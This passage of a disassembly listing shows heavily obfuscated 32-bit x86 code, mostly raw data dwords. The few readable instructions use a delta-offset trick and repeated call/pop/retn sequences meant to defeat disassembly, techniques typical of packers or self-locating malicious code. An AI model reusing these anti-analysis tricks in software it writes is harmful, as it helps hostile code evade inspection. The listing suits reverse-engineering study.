0E3BED3FFh, 0FF36C06Eh dd 0F9197D85h, 68E9F805h, 0E8000007h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 5FD4B27h push 0 push ecx call sub_5B0126 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B0126 proc near ; CODE XREF: .XComp0:005B011Ep arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_5B0126 endp ; --------------------------------------------------------------------------- dw 0BFF7h dd 91CD4019h, 89B5B065h, 0F907B985h, 15BD8105h, 0D005F907h dd 0F000007h, 1A786h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 0E0D3B71Dh, 0B5D3EC5h dd 0F90149BDh, 0E99D8B05h, 6A05F90Ah, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 7324C350h dd 0D6AE591Ah, 0BF0FBE6Eh, 0E381F9h, 6A000001h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 0E86CC355h, 10h, 0E6904A4h, 18D02664h, 9A6E7A7Dh, 0A3A39605h dd 5EF1B70Fh, 850FDB0Bh, 7Dh, 49E3BD83h, 0F0005FDh, 3984h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 1038BF8Fh, 8E9198Ch, 0F2000000h, 2F1D9AD6h dd 0E9212437h, 6Dh, 24A18D89h, 85C705F9h, 5FD49E3h, 1 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0D4C35141h dd 0CBAD56BCh, 36E9B583h, 8B000000h, 0F90621BDh, 0E385C705h dd 5FD49h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 4328C353h, 2969D768h, 0F90C4D9Dh dd 0E99D8D05h, 6A05F90Ah, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 82EAC350h, 0E55BDC02h dd 5800F53h, 0BF000000h, 596A63FFh, 1327E681h, 23816DFBh dd 0FFFFFEFFh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 0B3C35040h, 752C8061h, 0BF2388A3h, 66DB8C66h, 0F643BFBFh dd 840F04C3h, 34h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 0CC35545h, 95FFD0B6h, 5F91391h, 0B5D9D89h dd 665005F9h, 892371BFh, 0F88B2404h, 332E9h, 4850F00h dd 66000000h, 0B0789CBFh, 79B58B00h, 0E605F92Eh, 4800F70h dd 66000000h, 0F5A548BEh, 8B6671E4h, 0D8B60FF2h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0DC35242h, 0E10109E4h dd 0B43F5A50h, 6BAA6h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 0ED851C3h, 29B52325h dd 8B05F92Bh, 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 89DBD8F4h, 0F92B119Dh, 4E8C105h dd 9F1BD8Bh, 0F76605F9h, 6AD82BE2h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 50B6C356h dd 0FE9h, 7247A300h, 9B990663h, 98EB69h, 0ABABE1AAh, 0FF241C89h dd 0F90715B5h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 91B5038Eh, 0FF05F932h dd 0F91AED95h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 0E042A12Ah, 0B06F5Ah dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0FEC35646h dd 8E0F08A6h, 6, 25C19529h, 70E605F9h, 0E4F08B66h, 50006A71h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0F04DD021h, 0C69F1974h, 0BD9D09EBh, 3C05F927h, 0A0830F61h dd 6A000001h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 8781C352h, 0F1B52B60h, 0FC05F913h dd 0D8B60F61h, 6BAF38Bh, 29000000h, 0F910698Dh, 81C38B05h dd 43B77BC6h, 4E8C171h, 565BD8Bh, 0F76605F9h, 0D82BF5E2h dd 8F0F58F5h, 1, 0FD82BFCh, 14288h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0DBBB0791h dd 3AFD267Bh, 1929B58Bh, 7B905F9h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 4A64C355h, 0F93D5552h, 6A00C183h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 2F07C356h dd 0B02ACE51h, 2EDDB589h, 0D93B05F9h, 0C1860Fh, 85890000h dd 5F92615h, 6AD98C66h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 412DC352h, 37AFE646h dd 4C1F6A4h, 83840Fh, 0EE90000h, 0DA000000h, 9B4813CDh dd 0B169D12Eh, 8E253EDDh, 9195FFDEh, 8905F913h, 0F91469BDh dd 0A19D8905h, 5B05F91Ah, 2BF7BF0Fh, 55006AC3h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 8B66B3E0h dd 8343DF9h, 860F0000h, 2Dh, 4DB2BE66h, 2EE9h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 894D64CBh, 0F924119Dh, 52C08B05h, 0D95BD8Bh, 8B5E05F9h dd 6AD88BC3h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 17D4C351h, 19498D29h, 0F38B05F9h dd 0FA185C7h, 919105F9h, 6A19DBh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 0C1712CC3h, 0DAA9A173h dd 3CDB589h, 0BF6605F9h, 0C08B6105h, 18D0Fh, 81F50000h dd 0F90715BDh, 7D005h, 0C850F00h, 0FF000000h, 0F9071585h dd 0A9858905h, 0FF05F934h, 0F90715B5h, 0FF5E5305h, 0F91AED95h dd 358D3105h, 9005F913h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 96C35040h, 0BF9AA8CFh, 66067702h, 8D89F08Bh dd 5F915CDh, 2A059589h, 0B58905F9h, 5F914D1h, 66FA8B66h dd 52008DBEh, 14E8h, 90D36700h, 0C1385824h, 540FB874h dd 50D0AE2Bh, 900DABD3h, 0E4BF665Eh, 0D1B58BD6h, 5E05F919h dd 820F515Eh, 9, 89F1B70Fh, 0F92DE985h, 0F08B6605h, 58B0F5Fh dd 0BF000000h, 2F06C8C6h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 7BC35242h, 0CAF2AFBBh, 6A41AEh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 6FA763C3h, 0AD9D0156h, 0BE05F905h, 48D8B6D9h, 6E8h dd 46339700h, 8B8EC570h, 0F913C5B5h, 91958905h, 5E05F906h dd 0EF816656h, 815F1F06h, 0D87C36F7h, 6AFC7Dh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 8FF74AC3h, 0CE86Ah, 23540000h, 70E2AF2Bh, 9C5C2761h dd 0BE6628CAh, 895FD29Fh, 0F925FD95h, 0F8C9E905h, 6AFFFFh dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 1C3C3BC3h, 0F95FB17Bh, 0E9F6BF0Fh, 7, 234E89C9h, 8B75FA65h dd 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 6E98D91Ah, 4EBh, 8D890000h, 5F927C5h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 9BC35343h, 3830F69h dd 0F000000h, 858DF0BFh, 5F90DC1h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 8AC35242h, 5E01BC15h, 2225B533h dd 0E95005F9h, 0Eh, 834CF2D1h, 0D0919E04h, 0F152AE9Dh dd 48989F9h, 60D3BE24h, 6A105Bh, 2681B589h, 0BF0F05F9h dd 31006AF2h, 0F9164D95h, 0C1BE6605h, 3858D56h, 6A05FD54h dd 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 890EC350h dd 0EC67A255h, 49B58BA4h, 6605F931h, 7C34EF81h, 2905C083h dd 0F9178185h, 0F505005h, 84h, 4895E00h, 8D9D8924h, 6A05F910h dd 0F4BF6600h, 29006ABEh, 0F9176D8Dh, 0ED95FF05h, 6A05F913h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 1582C351h, 0FF78B66h, 68Ah, 0BD9D8900h, 8D05F906h dd 0FCE9839Dh, 0BD8B6005h, 5F93315h, 0EE9h, 0D2BBE000h dd 9137F2EAh, 839D4F4Fh, 619C1E27h, 1CBFD3FFh, 0FF1C89A0h dd 0F9197D85h, 5E805h, 0BE0B0000h, 5E72F59Ah, 788E9h, 0E800h dd 815D0000h, 0FD540DEDh, 0FFBF0F05h, 87D9D89h, 0BD8105F9h dd 5F90715h, 7D0h, 100860Fh, 8BF80000h, 0F92B259Dh, 45B58905h dd 8105F90Ch, 100E3h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 47155702h, 0F98B0544h dd 850FDB0Bh, 5Ch, 820Fh, 0BD830000h, 5FD52ADh, 31840F00h dd 66000000h, 8BBCEFBEh, 0F924C1B5h, 47E905h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0B58BAFC3h, 5F91F15h, 52AD85C7h, 105FDh, 0B70F0000h dd 13E9F1h, 8D290000h, 5F93481h, 52AD85C7h, 5FDh, 0B70F0000h dd 259D8DF2h, 6A05F92Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 5F73C350h, 0FA7FB11Bh dd 0FCEDCA7h, 81F98B66h, 0FFFEFF23h, 55006AFFh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0F6103E4Eh dd 0DE81665Bh, 8C66A6FBh, 55006ADBh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0C3F608B3h dd 1B840F04h, 0F000000h, 95FFFEB7h, 5F91391h, 29E5BD09h dd 509005F9h, 0FB8B6690h, 2605BD8Bh, 1CE905F9h, 6A000004h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 1FAC355h, 18820Fh, 820F0000h, 12h, 0CE8h dd 92E23100h, 4D9F6644h, 46CD5FD5h, 0B05E7Ah, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 6C35343h, 71E470E6h dd 331DB58Bh, 0B60F05F9h, 0D68166D8h, 0C4BF8967h, 0BA1B266Ah dd 6, 1E15B58Bh, 0CF8105F9h, 4945A7Fh, 6AC38Bh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 67DCCC3h, 2DED9D09h, 0BF0F05F9h, 4E8C1F8h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 25C35646h, 0CAF06344h dd 0F7668A24h, 51006AE2h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 0F182738Ch, 14E8h, 0C116400h dd 1CB7C0C1h, 8EFA3424h, 89E96765h, 832C86AEh, 219D0924h dd 5E05F929h, 33319D89h, 0D82B05F9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 18C35646h, 0E9F4F9D2h, 13h dd 22E5087Eh, 0ED6C3048h, 1E185B11h, 3A83DA0Fh, 0E994B9DDh dd 0Ch, 0E4830A4h, 0F66D92D5h, 980B8ADEh, 0E9525050h, 5 dd 0ABE8EEDAh, 60310F00h, 707BB866h, 89585A61h, 0B503241Ch dd 5F92A65h, 715B5FFh, 6A05F9h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 7EC1E2C3h, 49B76399h dd 1AED95FFh, 0BF6605F9h, 0B00CBCh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 8BC35545h, 3E9C1084h, 33CEF56h dd 0F90DE5B5h, 2970E605h, 0F910BD85h, 71E4FC05h, 830F613Ch dd 22Bh, 0D8B60FF8h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 8CC35141h, 6BAEBh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 8F0C97C3h dd 4BD9D29h, 8BF805F9h, 0FBB70FC3h, 6A04E8C1h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0C114C350h, 66EB52B8h, 0F60E2F7h, 68Eh, 0D9BD8900h dd 2B05F912h, 0F92111BDh, 85016105h, 5F9079Dh, 6AD82Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 924635C3h, 34FBFB60h, 0F58EC83h, 1486h, 0FE900h, 50490000h dd 0CDEFADB2h, 0B06103D6h, 0C92F4FF1h, 0FEDF819Ch, 2B7B87E0h dd 4C880FD8h, 66000001h, 7B9F88Bh, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 0BF2EC356h, 43D8BDC5h, 0BA99B560h, 118751E9h, 0C18361h dd 0C0DB58Bh, 0D93B05F9h, 109860Fh, 5F560000h, 0FE9h, 898F6C00h dd 0C79601C4h, 0C65EB8BDh, 3719E64h, 6AD98C66h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 0B739C357h, 0F04C1F6h, 0A984h, 7E900h, 70480000h, 5E2BE477h dd 9195FF97h, 6605F913h, 3E88EE81h, 6AC32B5Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 6CE0C351h, 0E95A9FBDh, 0Eh, 5A250255h, 0F819C7F2h, 5CEA5CD5h dd 343D43F1h, 0F000008h, 5186h, 0BE800h, 14490000h, 347A839Ah dd 58804D60h, 91858964h, 5E05F91Ah, 6860Fh, 0BD8B0000h dd 5F91459h, 4AE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 0A214911Ah, 435B533h dd 0BE6605F9h, 0C08B1DE2h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 0C35646h, 8B6C4BE7h, 6AD88BC3h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 3B96C352h, 1B90704Bh, 85C715A0h, 5F90AE9h, 3AB6617Dh dd 11B5B58Bh, 0C08B05F9h, 715BD81h, 7D005F9h, 850F0000h dd 58h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h dd 0C5C35040h, 26FDB52Bh, 85FF05F9h, 5F90715h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 5EC35747h, 0EFC26868h dd 9E9C368h, 2D000000h, 0C2AF0B4Fh, 0FA7384BCh, 715B5FFh dd 14E805F9h, 0C0000000h, 0A2CCB965h, 0E71D2278h, 0FE4B09DEh dd 0CE69C4B1h, 3600BB2h, 0F91AB9BDh, 95FF5F05h, 5F91AEDh dd 0C6C2BF66h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 48DE44CAh, 0F51577Ch dd 8Fh, 605F5E00h, 17918D8Bh, 8D0905F9h, 5F91E01h, 61CABF0Fh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 90C35141h dd 0BD8BF18Bh, 5F911DDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 0E8C35343h, 0BDEC4E88h, 0EE91Fh, 4F960000h dd 871517FAh, 3528B2ADh, 2D1E06CEh, 27D18529h, 6A05F9h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 257F22C3h, 454EBE66h, 1F4D8589h, 0B50905F9h, 5F910B1h dd 1F2D9531h, 0BD8B05F9h, 5F903C1h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h dd 1Ch, 0F4C35545h, 0E787E3Eh, 724C3385h, 4FDB589h, 895605F9h dd 0F917659Dh, 13E85E05h, 24000000h, 0D7F128DEh, 0B109B408h dd 0B62CEBFDh, 6264CA30h, 5EF86278h, 0FFF880E9h, 0F98B66FFh dd 0D8CF8166h, 6AC18B1Bh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0D830C357h, 4335D27h dd 0BFE4B04Eh, 4758D53Fh, 4EBh, 0B58B0000h, 5F9319Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 83C35242h, 0B6A87B15h dd 8913DD84h, 0F926F18Dh, 0C1858D05h, 6A05F90Dh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 8DBDC353h, 50600813h, 4830F51h, 66000000h, 5E19BEBEh dd 0E9240489h, 5, 4E63BA2Bh, 6A006A95h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 7AA9C355h dd 858927F2h, 5F911EDh, 8DF5006Ah, 0FD5D7F85h, 0BE905h dd 5D0D0000h, 4B13ED1h, 0E2184FA4h, 5C08333h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 60C35646h, 0E6D7EF37h dd 21A87CEEh, 24048950h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 37C35343h, 8C165285h, 0AE8B310Eh, 0C00BF66h dd 8B0F006Ah, 0 ; --------------------------------------------------------------------------- push 0 push 0 push edi call sub_5B12C5 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B12C5 proc near ; CODE XREF: .XComp0:005B12BDp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5B12C5 endp ; --------------------------------------------------------------------------- lodsb pusha mov cx, dx mov ebx, [ebp+5F92025h] popa call dword ptr [ebp+5F913EDh] lea ebx, [ebp+5FCE983h] mov [ebp+5F918ADh], edi mov esi, [ebp+5F90A45h] call ebx push 0 push edx call sub_5B1306 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B1306 proc near ; CODE XREF: .XComp0:005B12FEp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5B1306 endp ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- stc pusha xor [ebp+5F90C41h], edx jmp loc_5B132B ; --------------------------------------------------------------------------- db 0CCh db 0CDh, 0E5h, 95h db 1Eh, 22h, 93h ; --------------------------------------------------------------------------- loc_5B132B: ; CODE XREF: .XComp0:005B131Fj popa pusha mov cx, di mov edx, [ebp+5F90D1Dh] popa inc dword ptr [ebp+5F9197Dh] push 0 push eax call sub_5B1348 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B1348 proc near ; CODE XREF: .XComp0:005B1340p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5B1348 endp ; --------------------------------------------------------------------------- dd 0EBC5E79Ah, 0BEABF1D4h, 0F504D7Ch, 18719589h, 0F28B05F9h dd 838E9h, 0E800h, 815D0000h, 0FD5D89EDh, 0FA8B6605h, 715BD81h dd 7D005F9h, 860F0000h, 190h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 0F0C35242h, 1A9CDE8h, 0F91725BDh dd 0FB8B6605h, 25199D8Bh, 6A05F9h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 0B75034C3h, 7072DACh dd 0FA8B8181h, 100E381h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 95893EC3h, 5F92C89h dd 0BBF2CE81h, 49BE1918h, 0B6093AAh, 0C9850FDBh, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 83C3C355h, 0FD5BBDBDh, 840F0005h, 36h, 1A81BD8Bh dd 0A5E905F9h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 0BAF6C356h, 6FA7C00h dd 955A0682h, 7899589h, 85C705F9h, 5FD5BBDh, 1, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0FAC35242h, 0BF66D2FEh dd 0E9FCABAFh, 48h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 28C35343h, 0F1BB55E8h, 66B933E0h, 0E978B4BFh dd 0Ch, 5D24B3A7h, 4784D022h, 0C9373A1Dh, 5BBD85C7h, 5FDh dd 0BD230000h, 5F92DB1h, 25199D8Dh, 9F905F9h, 0F924699Dh dd 0FF238105h, 0E9FFFFFEh, 10h, 0B68E4D4Eh, 60E68112h dd 0BAD6D2CFh, 32A5360h, 6ADB8C66h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 4494C352h dd 0E31FB370h, 0B5C90613h, 0F04C3F6h, 3684h, 318D8900h dd 0FF05F922h, 0F9139195h, 53BF6605h, 48950B3h, 55006A24h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 8CA8019Eh, 0E9069C78h, 3E9h, 6E9h, 0DE0A5000h, 0E9F449F6h dd 9, 9E815A0Ah, 97818584h, 6A00B0B3h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 79C3C350h dd 82AD57EAh, 0FA8B66DBh, 6A70E6h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 0CEA425C3h, 4D82F747h dd 0C8C68166h, 0F71E4EEh, 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 0BA275FC3h, 2BF41CA7h dd 0F92A6DB5h, 13E805h, 39D30000h, 9E226BC1h, 0CD4D867h dd 0ABE2E03Ah, 8BED8EF2h, 19BD8BDAh, 5F05F907h, 6BAh, 0CE816600h dd 0C38BC64Bh, 2731B58Bh, 0E8C105F9h, 0BE904h, 0D7740000h dd 9BA46055h, 33E8C68Ah, 0E2F76621h, 0AF83BF66h, 2BF38B66h dd 0F1BD8BD8h, 9305F916h, 94BF6653h, 93505F26h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0EC35545h, 4AC6CC9Dh dd 5A856F6Ch, 715B5FFh, 6A05F9h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 4894CDC3h, 935E0FC2h dd 0FBBFF21h, 689h, 39858900h, 8B05F90Ch, 0F93491BDh, 0ED95FF05h dd 6A05F91Ah, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 1F01C353h, 19EF8166h, 6A00B0FDh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0F5DC352h, 325DF423h, 8D29EECAh, 5F91679h dd 6A70E6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 78C933C3h, 6A71E4h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 9E929C3h, 30000000h dd 83DF0DE8h, 420D9DE9h, 0A39B503h, 613C05F9h, 1E7830Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 51E495C3h, 60C78195h, 0F042E06h, 0BD89D8B6h dd 5F90931h, 6BAh, 0DE800h, 0A13D0000h, 821C9553h, 0B4624834h dd 5F1E76BBh, 6AC38Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 8BA217C3h, 0F921E1B5h, 4E8C105h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 17C35242h dd 0D5FF3BDAh, 0F99D2909h, 6605F918h, 0B58BE2F7h, 5F92185h dd 0CC84F781h, 0D82B5DFEh, 58F88B66h, 24218D89h, 0D82B05F9h dd 12F880Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 9A98B5C3h, 14D19531h, 7B905F9h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 833CC351h, 9D0100C1h, 5F90DADh dd 860FD93Bh, 0D9h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 2DC35040h, 8DA54DEFh, 178A0FF9h, 0E9000000h dd 12h, 69B1DD02h, 0AA53E051h, 95BFA3D2h, 177D8FA0h, 8C66ED6Eh dd 50006AD9h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 0ABB45283h, 4C1F61Ch, 68840Fh, 85890000h dd 5F90639h, 139195FFh, 6A05F9h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 5BFE98C3h, 0C79B509h dd 0C32B05F9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 0EC35343h, 3D1A25C2h, 834h, 0C860Fh, 0BE660000h dd 0AE97EAFh, 66000000h, 0C08BF08Bh, 0E3FEA7BEh, 8BC38B6Bh dd 0B98D89D8h, 0C705F910h, 0F92B2585h, 0D5497505h, 56006A71h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0C351CA17h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 1E95E5C3h, 0E9059322h, 10h, 112D9EE8h dd 3F0A331Bh, 0A5408164h, 4104BC42h, 715BD81h, 7D005F9h dd 850F0000h, 6Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 42C35545h, 289700DBh, 0CE83160h, 89000000h dd 0B1621FACh, 0DC388D00h, 0F9F9669h, 682h, 2DB58B00h dd 5F05F928h, 71585FFh, 6A05F9h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 4CCCE3C3h, 32C59D89h dd 0BE6605F9h, 0B5FF0C49h, 5F90715h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0F6C35242h, 5213AF42h, 0BFC56A64h dd 5D28D2FEh, 4805BE66h, 1AED95FFh, 11BF05F9h, 903DF8CDh dd 0F7E78166h, 56006ADDh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 800F9E52h, 15h, 0DE9h dd 4D615600h, 958AE8F7h, 0D84B634Dh, 8B66D878h, 0D1BD03F9h dd 8B05F90Fh, 0F92759B5h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 39B7531Bh dd 48A7B6DDh, 0D6812E1Fh, 70B18B89h, 66F18B66h, 9CF84BEh dd 0F9171D8Dh, 0F9B58905h, 8905F912h, 0F934118Dh, 0FE905h dd 0C9DD0000h, 0C63CA572h, 0C932823Ah, 340AF39h, 719D01ABh dd 6A05F90Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h dd 45000000h, 3C49C355h, 6A14020Ah, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0BACEC356h dd 8D4CFBBEh, 9E977h, 0FE540000h, 79356584h, 890AC5E4h dd 0F931B995h, 1390BE05h, 0CEE957E6h, 81FFFFF7h, 0EA28A8E6h dd 0FC18B34h, 0C84h, 7E900h, 8C540000h, 0A3E72844h, 4EBC2h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 0C3B7C357h, 0FE80DDEh, 0CE000000h dd 31C13FCDh, 61DFFBF4h, 0D8111874h, 0BD2BF3CEh, 5F91F31h dd 9E95Fh, 0F900000h, 8ADC43BCh, 0F83901F1h, 0DC1858Dh dd 6A05F9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 35C7DEC3h, 0F80B363h, 6690F8B7h, 50F058BFh dd 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 0BF0F51BDh, 6A5FFEh, 0E6816653h, 6A5E9748h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 2858D30h, 6A05FD68h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 6EF5C351h dd 9F6D4523h, 81BDA9CAh, 22DBBFE6h, 5C08313h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0BBC35343h, 8DEABEF7h dd 0BD232C07h, 5F92DE1h, 52505090h, 0FFE8B66h, 0E9525031h dd 10h, 87C4E18h, 168EEDA3h, 9DADE8D0h, 13F2CEA9h, 0BF66310Fh dd 585AFFBDh, 6A90585Ah, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0FA8C352h, 68Ah, 59958900h dd 8B05F914h, 0F91EC1BDh, 6A006A05h, 3E85000h, 20000000h dd 